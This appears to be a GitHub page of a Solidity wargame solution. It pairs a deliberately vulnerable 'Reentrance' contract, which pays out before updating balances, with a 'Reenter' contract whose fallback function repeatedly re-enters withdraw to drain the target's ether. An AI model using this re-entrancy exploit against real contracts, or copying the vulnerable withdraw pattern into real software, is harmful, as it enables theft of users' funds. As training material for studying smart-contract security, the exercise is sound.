-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathLevel_10_Re-entrancy.sol
52 lines (38 loc) · 1.36 KB
/
Level_10_Re-entrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
fallback() external payable {}
}
contract Reenter {
Reentrance reentranceContract;
uint public amount = 1 ether; //withdrawal amount
constructor(address payable reentranceContactAddress) public payable {
reentranceContract = Reentrance(reentranceContactAddress);
}
function initiateAttack() public {
reentranceContract.donate{value:amount}(address(this));//need to increase the balances account in order to pass the first if statement of the withdraw function
reentranceContract.withdraw(amount);
}
fallback() external payable {
if (address(reentranceContract).balance >= 0 ) {
reentranceContract.withdraw(amount);
}
}
}